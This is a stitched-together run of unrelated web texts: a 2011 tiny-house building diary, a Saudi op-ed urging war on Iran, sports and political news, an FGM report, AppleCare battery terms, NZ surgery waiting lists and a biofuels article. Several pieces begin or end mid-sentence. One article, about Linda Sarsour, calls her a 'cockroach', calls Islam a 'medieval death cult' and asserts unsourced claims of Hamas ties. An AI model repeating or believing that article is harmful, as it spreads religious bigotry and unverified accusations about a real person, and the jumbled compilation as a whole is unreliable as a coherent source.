April 26th, 2011: Dirt will be spilled Tuesday May 3rd. We’re getting a dumpster for about $500 (total cost) on the weekend and doing a lot of throwing of naily wood. We’ve been reconsidering the framing design to reduce the budget. Specifically going from two, 2″ x 4″ stud walls filled with dense pack cellulose to make a 10″ thick wall, to “Advanced Framing” built 2″ x 6″ walls with rigid foam on the outside of the sheathing. Advanced framing techniques seem to save materials and time and are different in that they “2×6 frame at 24 inch centers with single top plates, two stud corners, no jack studs, no cripples and single headers (and in many cases no headers at all).” Details: Advanced Framing | 2×6 cellulous/foam walls | Double Stud Walls.
April 24th, 2011: A neighbor, Glenn Letourneau, saw the story in the paper and offered to help. He works at Integrated Solar and wants to build a house like this some day. He stopped by on our garage-be-gone weekend and ended up returning with tools and helping take the entire roof off. It was a huge help for Laura and I.
April 18th, 2011: Applied on a long shot to the town to have the bike shed roof overhang to our property line. Didn’t pass, but it’s understandable and the town planning commission was very helpful in advising us to make sure we know our property lines.
April 16th, 2011: Laura and began taking down our garage. Laura found a YouTube video that explained how to take of vinyl siding and went nuts on it! The roof’s decades of asphalt shingles under metal roofing will be tough. Weather permitting, I think we’re going to make our May 1st. Deadline. The main lesson we’re learning here is that sometimes it’s good to study up, even for something like demolition.
April 15th, 2011: Called Jim the excavator Brad the foundation guy. Jim’s a great general contracting coach. I asked him about what next? Checks? Contracts? Dates? He said it was more loose then that now. He’ll come the first week in May. Foundation right when he’s done. The plumber should stop by when the work is being done. A week before May 1st, we all talk again and confirm if demo and all is done. Brad said the same kind of thing. No deposits needed. Call in two weeks. It’s very flowing, but I see the logic of that for a small job with weather considerations, etc. Sounds like these guys have been around enough to work in weeks rather then specific dates.
April 13th, 2011: We are officially scheduling contractors! While some estimates coming in are scary high, and costs look hard to keep under 30K, we’re moving forward anyway. We think we can get a very low interest loan from the town and Bob is helping us change small things to make contractors have an easier job.
April 11th, 2011: Met with local carpenter Ben Carr of www.benjamincarrbuilding.com. He’s got local experience using salvage materials and is interested in the job. He doesn’t like asphalt or plywood if we can avoid it due to their toxicity and durability. Bob says corrugated metal roof and Hemlock sheathing are fine and not that much different in cost.
April 6th, 2011: We’re in the local Paper! Thinking small Brattleboro couple wants to replace garage with a “tiny house” By Randolph T. Holhut/The Commons. April 6th, 2011. The feeling is brewing that we are going to build, even if the budget is tight. We can always finish the inside slowly as long as we have enough money to get it weather tight, wired and plumbed. We edited the materials list from Bob, and took it to the Perkin’s lumber with drawings. They are going to give us prices and email them. They loved the prints of the plans. We are filling out the Efficiency Vermont paperwork for Energy Star rebates and assistance possibilities with Bob’s help. We are talking with possible framers about time in mid June to start framing.
April 4th, 2011: Concreteestimate is in, $3000.00 for labor and materials for the frost wall foundation. This estimate is fixed, “won’t go up, won’t go down” as he said.
March 31st, 2011: Jim the excavator called with an estimate of 2,550.00 for two visits. We called a foundation guy who could do the concrete, which I didn’t realize was a different person. He’d come and dig the crawl space out, put in frost walls. Then we’d have the foundation done with footings and walls and boxed out holes for water and sewer. Then he’d come back dig the trenches for water and sewer and back fill them. We can keep the driveway intact as a staging area and get rid of the asphalt later for about $250. The key is that before he comes, the entire site is clean own to the old concrete pad, including the work area around the garage and driveway. We’ll have to drill our own holes in the foundation of our house later, or pay someone. We called John, a foundation guy he recommends to come do an estimate.
March 30th, 2011: The Commons newspaper interviewed Laura and I after finding Bob’s Facebook post about his blog, linking to this blog. It was fun. The reporter took photos and we chatted with the plans.
March 29th, 2011: Bob gave us an early version of the house plans. They’re cool! Looks like a crawl space is the best way to go, both financially and to allow for contractors to not have to be as tightly coordinated. The vaulted ceiling will have cross beams, one of which is cleverly the railing for the sleeping loft. We believe we can use the old vinyl siding from the garage on the front of the house so it matches our house.
March 30th, 2011: Dale from Temple plumbing and heating in Putney, VT came over this morning. Seemed like a very solid professional. Has worked with Jim the potential site guy for 31 years. He suggested we save money by having Jim lay water trench deep with a 3-4” sleeve in a trench. Jim also makes another trench for a Sewer pipe to grade and buried. When building is weather tight, Dale will come in with 2 guys for about 3 days. He’ll hook up the sewer, and he’ll run a water pipe in the sleeve and hook it up. He’ll put in water heater in crawl space? Install vents for both sinks. Estimate by him verbally, erroring on the high side, is $4000 including labor/materials. We’ve entered it in the estimate spreadsheet.
March 29th, 2011: Called town water and sewer guy. We’re all OK and they know about the project. 10ft of separation is needed between water and sewer to house foundation wall. Electric he wasn’t sure. There should be a code. Probably separate by at least some dirt in trench with water or sewer. We are advised NOT to get a separate sewer and water meter. It’s $170, plus installation. It would need to be installed before the current meter. Not sure about this? Before turn we turn on utilities, we need to write a letter to Rick at town. Tell them our situation of using one room for a bedroom, one room for an office, and one room for a guest room in our house. And that we are building a one bedroom studio apartment. This will keep us under the 3 bedroom total limit of our current bill. Our Base allocation 450 gallons/day, 150/per bedroom for three bedrooms. They would like to see the open trenches and map the sewer before we close the site. No charge. Call and tell them to stop by.
March 25th, 2011: Site person Jim came over. Is talking to Bob about designs. Might need to be a crawl space not slab because of the slanting grade. Bob and him are discussing. He avised we get a plumber in soon to give estimates. Advised we focus on the communications part of General Contracting so the contractors are working in unison which will save money if things are well organized and clearly communicated. We can probably save money by punching our own holes in the foundation. We might have to move the oil tank to accomodate the sewer line in. He can tear up the asphalt, will save money if he can leave a jagged edge, not cut it with a say to be clean. We said yes. We called Bob to let him know these things. He said to call Terry Short for electric, who we know from our inspection. And Mark Garland for plumbing estimates. We did.
March 24th, 2011: Lengthened to 22′. Stairs moved up and center.
March 23rd, 2011: Local ReNew Salvage says we can save a bundle by demoing our garage ourselves. If we separate the stuff, they will come take what they can resell, and leave us a tax write off slip for free. Then they will help use take the stuff we can’t get rid of, such as painted wood and scrap, to the dump with their truck. Looks like we might be having a weekend “garage be gone” demo party!
March 17th: 2011: We fill in application with town zoning representative’s help (worth the trip!) to apply for a zoning waver to put the East overhang shed roof to our property line, vs. 5ft back. This will give us 4 additional feed of lawn we don’t have now. The concrete pad will still be 5ft back.
March 16th, 2011: Our feasibility study has begun. We have started a shared spread sheet of every cost we can think of from lumber to lights. Bob is helping us price it all out. It’s good to get out of the endless searching for plans and building Sketchups.
Monday March 14, 2011: Bob the architect came over and we walked the site with our feedback on his first plan and the basement. We had some thoughts, but most of them turned out to be not such a good idea when discussed. We then talked about what is to come and divided up tasks. He’ll call some site contractors for estimates. We’ll check the changes with the town zoning people, and make a shared Google spreadsheet of every cost we can think of. He’ll then add to the sheet estimated numbers from his experience.
Friday, March 11, 2011: Bob sent us a teaser plan. All this time We’d been thinking the bathroom would be a lot cheaper if it was closer to the house where it taps into the main system. Turns out it might not matter that much. South is at the front. We think we can give the tenant a little garden patch too.
March 6th, 2011: Start of this blog. and the day we hired an architect.
December 12th, 2010: We get a zoning permit after applying to the town a couple of weeks before. Because it is on the same footprint as our garage, we don’t need a building permit.
Early December, 2010: We meet the permit man to hand off our application, check, and initial plan for a 20′ x 24′, two-car garage with a studio apartment above it.
End of November, 2010: Right after we buy the house, we meet with Brattleboro Area Affordable Housing office gentlemen at our house, who say the project looks doable and we should be fine to get the towns $3,000.00 grant for those building rental units in town.
2008-2010: Laura and I came close to building a new house in town when we found a tear down home on a great plot. We also would talk about out buildings as we saw them on our drives and visiting friends. I’m a bit of a real estate junkie. I tend to keep an eye on local listings, and look at home designs and out buildings as I drive.
Resources (In progress)
Clog Tools
Sketchup. 3-D modeler for exterior and interior design, and sun experiments.
Floorplanner.com. One free design.
Google Docs. Shared spreadsheets for budget and contacts. Docs for notes. Storage of PDF Plans.
WordPress: Blogging platform
Canon Powershot Elph cameras, SD780is and S95.
Organizations
Blogs, Sites, House Plans and Designs for Tiny, Small, Cabins, Guest Houses and Cottages.
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TwitterIn his August 4, 2008 column in the liberal Arab e-journal Elaph, Saudi columnist Saleh Al-Rashed argued that the Gulf states should urge the West to attack Iran before it acquires nuclear weapons.
Following are excerpts from the column:[1]
A Nuclear Iran is Like a Nuclear Bin Laden
"'There's no avoiding what there's no avoiding' – this adage came to mind when I read the pronouncement by Iran's Islamic Revolutionary Guards Corps commander Mohammad 'Ali Ja'fari, who said: 'My country is easily capable of closing the Straits of Hormuz, the main passageway for oil freighters, if the country is attacked due to its nuclear program.'
"In my estimation, confronting this country, which is trying to gain the time necessary to acquire nuclear weapons, is unavoidable. The possession of nuclear weapons by a state like Iran, which is ideological to the core, is more or less like Osama bin Laden having a nuclear bomb. They are two of a kind. Despite the difference in their turbans and in their religious beliefs, the end result is the same.
"Perhaps it is our bad luck that we [i.e. Saudi Arabia] and the Gulf states would be the first to suffer from a military confrontation with Iran and from its response, and the problem would become even more grave if Iran succeeded in closing the Straits of Hormuz, as the IRGC commander threatened. But our situation with Iran is like that of the sick man who refuses to have his illness treated with cauterization. Yes, the pain of the burning is horrible, but this malady can only be treated through this military confrontation –cauterization.
"History has taught us that ideological countries only pay heed to victory over their ideology… They never accept any halfway situation, even when they find themselves on the brink of disaster."
"Confrontation Is The Solution"; "The Absolute Priority Must Be Our Strategic Security in the Gulf"
"Confrontation is the solution, and there is no solution but confrontation. The game of the carrot and the stick played by the U.S. and E.U. will be to no avail.
"At present, we are suffering from two things: Iran's attempts [to gain] regional hegemony, and its attempts to impose its influence via its sectarian allies – the fifth column of Arab Shi'ite fundamentalists. Imagine what Iran's influence, hegemony, and fifth column would be like if Iran had a nuclear bomb.
"Perhaps it is a strange coincidence that, this time around, our strategic interests coincide with those of Israel. The regime of the mullahs in Iran is our enemy, and at the same time it is an enemy not just of Israel, but of world peace and security.
"I know that the Arab demagogues stand together indiscriminately with anyone who is against Israel and America. But we need to not be swept away by these demagogues as we were in the past. This time, the absolute priority must be our strategic security in the Gulf, which is threatened by Iran – even if this comes at the expense of the Palestinian cause.
"In politics, nothing prevents you from allying with the devil for the sake of your interests. This is what confronting the Iranian danger – which is close – demands of us. This issue, in my estimation, cannot suffer delay or hesitation. Every passing day benefits Iran.
"Thus, we need to push the world powers, and especially the U.S. and the E.U., towards military confrontation to neutralize the Iranian enemy, whatever the cost, before the nuclear bomb makes it too late – even if it is against the will of the Arabs of the north."
[1] www.elaph.com, August 4, 2008.El Shaarawy out for 10 weeks
By Football Italia staff
Stephan El Shaarawy underwent surgery on his right foot today and Milan confirmed he’ll be out for 10 weeks.
It is a heavy blow for the Little Pharaoh, who has barely featured this season due to a series of injury problems.
He had already been out of action for a couple of months with a fractured metatarsal in his right foot and it is this injury that failed to heal effectively.
Specialists advised surgery in Portugal to stabilise the fourth metatarsal in the right foot, taking some of the pressure off the area with the stress fracture.
Professor Niek Van Dijk performed the surgery and predicted a return to the playing field in around 10 weeks.
This would mean El Shaarawy wouldn’t be back in action until mid-March, so it’s extremely unlikely he’d be considered for Italy’s 2014 World Cup squad.
Today Coach Cesare Prandelli confirmed he’ll make his selection based on fitness tests in April.Well the final boundaries are out. There are some changes (as there always are) and a couple are quite significant.
Winners:
Nikki Kaye, Auckland Central – Having won and held Auckland Central by less than a thousand votes in 08 and 11 Nikki will be overjoyed to see ALL of Grey Lynn move into Mount Albert. Grey Lynn was Jacinda’s territory and I am pretty sure she owns a house there so she will now be living outside of the electorate that she says she will contest in this year’s election. Nikki is probably sitting on a conservative majority of 2000 but it is useful |
break the cycle. A surprising one in five had lucky charms, with a third admitting they own 'lucky' jewellery, one in four wearing auspicious socks and one in five putting their faith in lucky pants.
· This article was amended on Tuesday December 9 2008. Braun Smooth Side Challenge, not Braun, commissioned the male self-image survey. This has been corrected.REPORT: TIME Magazine to Name Linda Sarsour ‘Person of the Year’ After She Called For Jihad Against Trump
TIME Magazine says Trump was never in the running for ‘Person of the Year’ after the President claimed the magazine told him he was being considered and requested an interview.
Perhaps calling for Jihad against the Trump administration while pushing for Sharia law in the United States deems one a ‘person of the year’, says one report familiar with TIME’s editors.
Israel National News reported that Linda Sarsour is most likely TIME Magazine’s pick for ‘Person of the Year’:
…Speaking of which – Linda Sarsour. Now there’s TIME’s most likely pick to represent 2017. She is the picture, the image of everything gone to pot over the past nearly 12 months. TIME’s editors won’t put it that way of course. They will ascribe to her, this so-called Palestinian American, all the glories of the women’s movement, whatever that is anymore. But they do march for “equality,” of the sort we find in certain Islamic countries where all women are equally put to death for disobedience. Like forgetting to wear that special veil, which Sarsour never forgets, even though some might say it signifies bondage rather than emancipation. Sarsour is a leader in all that, and she is front and center in the resistance movement against Trump. TIME’s editors love that about her. She hates Trump. What more can you ask when you are part of Old Media? They want open borders and so does she. Bring them all in. Imagine America with millions more like Linda Sarsour? Trump wants refugees out from places like Iran, Libya, Somalia, Syria and Yemen for reasons of safety. They breed terrorists over there. Trump wants America kept safe. Linda Sarsour wants them in. Those are people with which she feels most comfortable. That’s one reason Trump won’t get this year’s nod from TIME – but perfect for Linda Sarsour.
Linda Sarsour is a radical left-wing activist masquerading as a leader of women’s rights while she pushes for Sharia law-the most oppressive set of laws which ultimately enslave women.
Sarsour called for Jihad against Trump!
As previously reported, speaking at ISNA’s 54th Annual Convention, Linda stated that Muslims have “NO need to assimilate” and that fighting the Trump Administration is a form of JIHAD!
“And I hope that when we stand up to those who oppress our communities,” Sarsour continued, “that Allah accepts from us that is a form of Jihad!”
Linda Sarsour has ties to the terrorist group, Hamas and is a Sharia law advocate who pushes to replace our Constitution with laws from a medieval death cult.
Fun fact: Sarsour means ‘cockroach’ in Arabic. Fitting, isn’t it?The driver accused of intentionally plowing his car into counter protesters and killing one woman during a white nationalist rally in Charlottesville, Va., over the weekend has been denied bail, the Associated Press reported Monday.
James Alex Fields Jr. of Ohio is charged with second-degree murder, malicious wounding and failure to stop in a collision that resulted in death. Federal officials have also opened a civil rights investigation into the incident.
Video footage shows a car ramming into other vehicles ahead of it into a crowd of counter protesters at the far-right event on Saturday, leaving scores of people injured.
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National security adviser H.R. McMaster on Sunday said the car attack was an act of terrorism.
“I certainly think any time that you commit an attack against people to incite fear, it is terrorism. It meets the definition of terrorism,” McMaster told ABC’s “This Week."
Violent clashes had erupted in the college town on Saturday as white supremacist groups demonstrated against the removal of a statue of Confederate Gen. Robert E. Lee.
President Trump has come under fire for his vague statement after the attack, in which he condemned hatred and violence that came from “many sides.”A Scottish midwife has revealed how she deals with cases of female genital mutilation (FGM) on an almost daily basis, seeing around 150 affected women and girls every year.
Hilary Alba is the lead midwife for Greater Glasgow and Clyde health board, and is responsible for asylum seekers and trafficked women in the city.
Despite the extent of the problem, there has not been a single conviction for FGM in Scotland, where those who aid or carry out the procedure, either in Scotland or abroad, are supposed to face up to 14 years’ imprisonment.
“We’re not sure if it is happening over here,” Mrs. Alba told The Times. “I think if there was a conviction, it would be huge. It would send out the right message. People know there hasn’t been a conviction and they can get away with it.”
According to the paper, it has been claimed that people from England and across Europe have traveled to Scotland to have their daughters mutilated as the nation has been seen as a “soft touch” on the issue.
In France, more than 100 people were jailed for FGM by 2014, thanks to a “zero tolerance” approach to the crime.
Speaking in March, Mr. Alba told the Glasgow Evening Times: “I see about three or four women a week.
“There are grades of it and some of the more serious cases are pretty horrific. It’s one of the questions we will ask, depending on what country the woman has come from – if she’s been cut.
“You have to talk to her about the legal issues because obviously, it’s illegal in the UK to practice FGM… It’s very difficult to eradicate because it’s so embedded in the culture.”
FGM is most often associated with African Muslims, although it is not exclusive to them, and is extremely prevalent in some Muslim-majority countries in Asia, such as Indonesia.
Earlier this month it was revealed that more than 5,000 new cases were recorded in England last year, equating to 14 new cases being recorded a day."If during the Plan Term, you submit a valid claim by notifying Apple that (i) a defect in materials and workmanship has arisen in the Covered Equipment, or (ii) the capacity of the Covered Equipment’s battery to hold an electrical charge is less than eighty percent (80%) of its original specifications, Apple will either (A) repair the defect at no charge, using new parts or parts that are equivalent to new in performance and reliability, or (B) exchange the Covered Equipment, with a replacement product that is new or equivalent to new in performance and reliability."
Apple has updated the terms of its AppleCare+ Protection Plan for iPhone, iPad, iPod and Apple Watch to cover batteries that retain less than 80% of their original capacity within the extended warranty period, whereas it previously covered batteries that retained less than 50% of their original capacity. The change applies to AppleCare+ purchased for iPhone, iPad, iPod and all Apple Watch models on April 10, 2015 or later.Apple will replace defective batteries that do not live up to the 80% specification free of charge as long as the device is within its AppleCare+ coverage period. Otherwise, the iPhone maker charges $79 for out-of-warranty battery service for all Apple Watch batteries that retain less than 80% of their original capacity per Apple's diagnostic testing, plus a $6.95 shipping charge if required.The new battery terms of AppleCare+ for iPhone, iPad, iPod and Apple Watch:AppleCare+ for iPhone extends the smartphone's warranty coverage to two years from the original date of purchase and provides up to two incidents of accidental damage coverage for a $79 service charge each time. Without AppleCare+, iPhone customers are covered by a limited one-year warranty and 90 days of complimentary phone support.AppleCare+ for iPad and iPod have the same terms and conditions, although the accidental damage service charges are $49 and $29 per incident respectively.Apple has designed the Apple Watch battery to retain up to 80% of its original capacity at 1000 complete charge cycles, which gives the watch's battery a lifespan of about two-and-a-half to three years based on fully charging the wrist-worn device once per day. Apple Watch has all-day battery life of 18 hours on a single charge based on mixed usage, and lasts up to 72 hours in Power Reserve mode AppleCare+ extends an Apple Watch's warranty coverage to two years from the date of purchase for the Sport and Watch, and three years for Edition, and provides accidental damage coverage for up to two incidents. Without AppleCare+, purchases of the Apple Watch Sport and the stainless steel Apple Watch are covered by a limited one-year warranty and 90 days of complimentary phone support.AppleCare+ costs $49, $59 and $1,500 for the Apple Watch Sport, Apple Watch and Apple Watch Edition models respectively, while accidental damage coverage is subject to an additional service charge of $69 for Sport, $79 for Watch and $1,000 for Edition. Apple also sells AppleCare+ combo plans for Apple Watch and iPhone for $149 (Sport and iPhone), $169 (Watch and iPhone) and $1,600 (Edition and iPhone).If Jim Harbaugh is to leave the San Francisco 49ers after the season, the team would reportedly prefer he leave to take the Michigan job, according to Football Scoop.
Harbaugh has been cryptic recently about his future with San Francisco, but by all indications he will not be returning for the final year of his contract in 2015. He's been connected with the Michigan job since before Brady Hoke was fired, and if he wanted to leave to take over the Wolverines, the 49ers would reportedly not ask for any compensation to let him out of his contract early.
If he were to leave for another NFL job, however, the 49ers would supposedly ask for "a king's ransom" in exchange for releasing him, as the potential for embarrassment is much higher if Harbaugh remains in the NFL, especially if it's with the Oakland Raiders. ESPN's Adam Schefter reported that Harbaugh is supposedly leaning more towards leaving for Michigan, but nothing will happen until next week when San Francisco's season ends.Ravaged by drugs: Shocking before and after pictures reveal devastating physical toll of meth addiction
The American addicts are aged 22 to 54 in various stages of addiction
They are users of cocaine, heroin, oxycodone and crystal meth
Campaign was launched by Rehabs.com to warn of dangers of drugs
The horrific effect that drugs can have on addicts have been highlighted in a series of disturbing pictures and video.
The photographs show American users of cocaine, heroin, oxy-codone and crystal meth in various stages of addiction.
The before shots all show healthy-looking individuals prior to their becoming involved in substance abuse.
The after shots show the same faces with terrible, blotchy skin, gaunt and hardened features, wrinkled skin and wild eyes.
Scroll down for video
Chelsea was arrested four times in less than two years. In her final arrest she was charged with possession of cocaine, heroin and oxycodone.
The campaign was launched by Rehabs.com, the organisation that ran the very successful Faces Of Meth campaign in 2012, which showed the devastating impact of meth addiction.
This latest campaign, More Than Meth: The Faces Of Drug Arrests, aims to show that drugs other than crystal meth can also have a damaging impact on health and appearance.
The photographs are mug shots of the drug users, who are known only by their first names, at the times of various arrests, which in some cases span more than ten years.
The mug shots show the physical effects that drug abuse can have on someone’s body, including dramatic weight gain or weight loss, tooth decay, facial sores, abcesses, bloodshot eyes, and the appearance of accelerated ageing.
Amy was 25 when she was first arrested arrested. Rehabs.com asked 200 people to guess how many years between her first and last mugshot, they said 21 years, in reality it was 10 Linda was first arrested at the age of 22. She was arrested five times after that for various offences, including drug-related crimes Cynthia (left) and Michael (right) were each charged with a string of offences over the course of a decade
A 2012 study found that 4.5 million Americans were dependent on illicit drugs, and millions more had used illegal drugs in the month before the study.
Rehabs.com aimed to raise awareness about what can stem from the more casual use of drugs.
‘Use of these dangerous drugs can easily lead to addiction,’ they wrote.Image copyright EPA
Labour will seek to distribute the rewards of growth more fairly, Jeremy Corbyn has said, as he set out his party's plans for the economy.
Addressing activists, he called for a "mixed economy of public and social enterprise... a private sector with a long-term private business commitment".
He said a Labour government would break from the "failed economic orthodoxy".
Shadow chancellor John McDonnell said Labour would build 100,000 council homes a year and boost home ownership.
Labour attacks'skyrocketing' rent rises
Osborne warns Brexit will hit house prices
At Labour's "state of the economy" conference in west London, Mr Corbyn set out his desire to reform capitalism and said his party needed to "deliver the new economy that this country needs".
"An economy that starts by tackling the grotesque levels of inequality within our society," went on Mr Corbyn.
"An economy that ensures every young person has the opportunities to maximise their talent and that produces the high-skilled, high-value, secure jobs they need. An economy that delivers new, more democratic forms of ownership and a zero-carbon economy that protects our environment."
'Bold ambition'
Mr Corbyn said a proposed National Investment Bank would boost the UK's infrastructure.
"Building an economy for the future requires bold ambition, he said. "A new economics."
He said: "Wealth creation is a good thing: We all want greater prosperity. But let us have a serious debate about how wealth is created and how that wealth should be shared."
Analysis
By Chris Mason, BBC News political correspondent
Having survived, so far, the rumblings of mutiny among fellow Labour MPs, both the party leader Jeremy Corbyn and his shadow chancellor John McDonnell are determined to begin setting out their economic pitch.
Mr Corbyn called it "a new economics". Mr McDonnell described his aim as being no less than the "fundamental business of reforming capitalism".
So today was big on vision, but short on new detail. Perhaps no surprise with the next general election, in all likelihood, not until 2020.
No one can doubt their ambition: "I want us to surpass even the Attlee government for radical reform," the shadow chancellor said, a reference to the administration that founded the NHS.
But to do that, they have to win the next general election.
Will Labour MPs put up with them for long enough so they can fight that election? And if they do, can Messrs Corbyn and McDonnell sell such a left wing, socialist pitch to the electorate?
In his speech, Mr McDonnell said Labour would not win the next election unless it showed it was a responsible custodian of public money.
"We can reject the dreadful choice of austerity and maintain solid government finances," he said.
Councils would be given the power to limit "skyrocketing" rent increases, he added, pledging to help people "at the mercy of an unforgiving, unrestrained housing market".
'Intervention needed'
The measures put forward at the conference will be subject to consultation, and will not immediately become party policy.
They include powers to regulate private rent rises - similar to those pledged by former Labour leader Ed Miliband in the party's unsuccessful general election campaign - below the rate of inflation for the duration of a tenancy.
Critics previously said Labour's pre-election proposals would reduce investment in housing stock.
Mr Corbyn said government intervention was needed to solve the housing crisis.
Media playback is unsupported on your device Media caption John McDonnell: "Slowly but surely, we're rebuilding economic confidence in the Labour party"
The "local rent regulation" suggested by Mr McDonnell would be available to councils in each area, rather than set nationally.
The National Landlords Association welcomed Labour's focus on making housing more affordable but warned the party not to "pull the rug from under the feet of responsible landlords", while new Labour mayor of London, Sadiq Khan, told the BBC he did not favour rent controls in the capital.
Addressing the Labour proposals on housing, a Department for Communities and Local Government spokeswoman said the government was "creating a bigger and better private rented sector".
"These proposals for excessive state regulation would destroy investment in new housing, push up prices and make it far harder for people to find a flat or house to rent," she said.At 35-years-old, Sharon Cooper is at an age where she would like to buy her first home, and contemplate starting a family.
There is only one thing standing in her way. In fact, standing is the issue.
Cooper is one of 174,000 New Zealanders who have been left off waiting lists for elective surgery. In Cooper's case, it has cost her the option of acquiring a mortgage, starting a family, and she believes soon it will cost her another job.
John Kirk-Anderson Janet Frame, who is in intense pain awaiting a shoulder replacement. She has been told her surgery won't happen until at least after August, despite the fact she cannot even change her clothes or sleep now.
After 12 years working on a dairy farm, Cooper was forced to quit when she twisted her knee badly on the job. While ACC covered it as a work-related injury, Cooper was forced to leave her job, and her farm worker lodging, while she recuperated.
"Not only was it my job but it was my home as well, which was incredibly upsetting," she said.
READ MORE
* Christchurch emergency department swamped
* 174,000 Kiwi left off surgery waiting lists
* Funding boost fails to make dent in waiting lists
* Who is missing out on surgery?
* Cantabrians, Aucklanders lose out on surgery
* Unmet need 'a national disgrace'
Desperate to move on with her life, Cooper got a new job in town. But it was not long before her knee
started playing up again.
After "months and months" of GP visits and being referred from specialist to specialist, an MRI scan found Cooper's knee was "completely worn out". The condition was genetic, so it was not covered by ACC.
"It meant I'm basically on my own.
"The specialist said 'This is what's wrong with you and it's not going to get any better. You need a partial knee replacement'."
It seemed straightforward enough, Cooper thought. She remained "really positive" for a quick surgery recovery and returning to work.
Instead, Burwood's orthopaedics unit declined her for an assessment, "due to the number of people waiting with a greater level of need".
That line would be reiterated to her three times in the coming months in separate rejection letters.
"I was devastated, I really was," Cooper said.
"I struggle [at work] but I manage because I have to."
She now has a pronounced limp, and is in constant pain. She and her partner were keen to buy their first home, but Cooper worried how long she would be able to continue working. Then there was the thought of starting a family.
"I'd like to consider it one day, but there's no way I could even think about it right now.
"I'm pretty much at a loss. It's like being in a hole you can't get out of. I know I'll get to the point where I can't work and I just think it's so unfair.
"As far as I'm concerned they're declining you for an assessment so you can't even get on the waiting list."
Research released by global research company TNS on Monday showed about 174,000 New Zealanders are in need of publicly-funded surgery, but have not been placed on a waiting list.
Patients are commonly being turned away as their pain is not considered to be severe enough, or GPs are "waiting to see" how their condition progresses.
The wait for a publicly-funded surgery had leapt by 80 days since 2013, to 304 days.
On Wednesday, Labour's health spokeswoman Annette King challenged Health Minister Jonathan Coleman during parliamentary question time on the statistics.
Coleman responded saying, "There is a difference between a telephone survey of what a person thinks they need and a trained doctor's medical assessment".
Janet Frame, 64, often sleeps in her clothes because she can't lift her shoulder to take them off. She sleeps on average two hours a night, and can no longer perform basic daily activities.
The Hornby woman has been waiting in "excruciating" pain for a shoulder replacement for four months, and has been told her surgery is unlikely to be performed before August. It is not the entry into retirement Frame had been expecting.
About two and a half years ago, Frame had an operation on her foot, which was "full of arthritis". It forced her to give up her job as a sales representative.
But as it healed, Frame felt something was not right. She returned to her doctor, but nothing out of the ordinary was found until months later.
"I kept telling them something wasn't right, I was in such terrible pain. I couldn't even stand up. I had four X-rays in three months and they couldn't pick it up."
A CT scan then found a broken screw in her foot, 12 months after the initial operation.
As her foot healed, Frame was given a scooter to get around on. It was this scooter she fell from late last year, severely injuring her shoulder.
Three cortizone injections and physiotherapy did little to help. And then she had another fall, on the same shoulder.
"I kept going back to the doctor saying my arm is terrible. I only sleep two hours a night."
Frame now relies on sleeping pills, and lives her days in constant pain. In January, Frame struggled to be accepted onto the waiting list for shoulder surgery, and was rejected once. In February, she was added to the clinic waiting list at Burwood Hospital to be assessed for shoulder replacement. They told her she would be seen within four months.
Anxious and pained, she enquired about the status of her surgery this week, and was told they "can't see anything for me".
"The lady said it probably won't be until August and even then we'll have to be reassess you."
It was suggested her doctor write another letter outlining the severity of the situation, Frame said, but they had already written several of them.
"I've just had enough. I can't do anything – I can't put my washing out, I can't do the garden or mow the lawns. Someone has to come in to help me with the shower because I can't dry myself. I find it hard to get dressed, and some days I sleep in my clothes because I can't get them off."
Canterbury District Health Board (CDHB) chief executive David Meates said as of April 1, 3336 people were waiting for elective surgery.
Each year, the CDHB did between 450,000 to 480,000 outpatient appointments.
People tended to wait about four months. This wait time allowed people to be scheduled in and kept people going in to hospital and out smoothly.
This year they were set to do 20,474 elective discharges – 3500 of which were complex referrals from other DHBs.
That number was likely to be even larger, as some minor procedures were not counted as surgeries at the CDHB, but they were at other hospitals.
Meates said they were constricted by a number of things, including funding. If the hospital performed more elective surgeries, that money would need to be taken from other services.
"Could more people benefit from operations? Certainly yes. It does come to funding... but no matter how much you funded it there would always be limited capacity of surgeons or health professionals.
"That does mean at times those who will benefit have to wait, because there are others with a greater level of urgency. And that's always hard for people to understand."The campaign against climate change could be set back by the global food crisis, as foreign populations turn against measures to use foodstuffs as substitutes for fossil fuels.
With prices for rice, wheat, and corn soaring, food-related unrest has broken out in places such as Haiti, Indonesia, and Afghanistan. Several countries have blocked the export of grain. There is even talk that governments could fall if they cannot bring food costs down.
One factor being blamed for the price hikes is the use of government subsidies to promote the use of corn for ethanol production. An estimated 30% of America's corn crop now goes to fuel, not food.
"I don't think anybody knows precisely how much ethanol contributes to the run-up in food prices, but the contribution is clearly substantial," a professor of applied economics and law at the University of Minnesota, C. Ford Runge, said. A study by a Washington think tank, the International Food Policy Research Institute, indicated that between a quarter and a third of the recent hike in commodities prices is attributable to biofuels.
Last year, Mr. Runge and a colleague, Benjamin Senauer, wrote an article in Foreign Affairs, "How Biofuels Could Starve the Poor."
"We were criticized for being alarmist at the time," Mr. Runge said. "I think our views, looking back a year, were probably too conservative."
Ethanol was initially promoted as a vehicle for America to cut back on foreign oil. In recent years, biofuels have also been touted as a way to fight climate change, but the food crisis does not augur well for ethanol's prospects.
"It takes around 400 pounds of corn to make 25 gallons of ethanol," Mr. Senauer, also an applied economics professor at Minnesota, said. "It's not going to be a very good diet but that's roughly enough to keep an adult person alive for a year."
Mr. Senauer said climate change advocates, such as Vice President Gore, need to distance themselves from ethanol to avoid tarnishing the effort against global warming. "Crop-based biofuels are not part of the solution. They, in fact, add to the problem. Whether Al Gore has caught up with that, somebody ought to ask him," the professor said. "There are lots of solutions, real solutions to climate change. We need to get to those."
Mr. Gore was not available for an interview yesterday on the food crisis, according to his spokeswoman. A spokesman for Mr. Gore's public campaign to address climate change, the Alliance for Climate Protection, declined to comment for this article.
However, the scientist who shared the Nobel Peace Prize with Mr. Gore, Rajendra Pachauri of the United Nations's Intergovernmental Panel of Climate Change, has warned that climate campaigners are unwise to promote biofuels in a way that risks food supplies. "We should be very, very careful about coming up with biofuel solutions that have major impact on production of food grains and may have an implication for overall food security," Mr. Pachauri told reporters last month, according to Reuters. "Questions do arise about what is being done in North America, for instance, to convert corn into sugar then into biofuels, into ethanol."
In an interview last year, Mr. Gore expressed his support for corn-based ethanol, but endorsed moving to what he called a "third generation" of so-called cellulosic ethanol production, which is still in laboratory research. "It doesn't compete with food crops, so it doesn't put pressure on food prices," the former vice president told Popular Mechanics magazine.
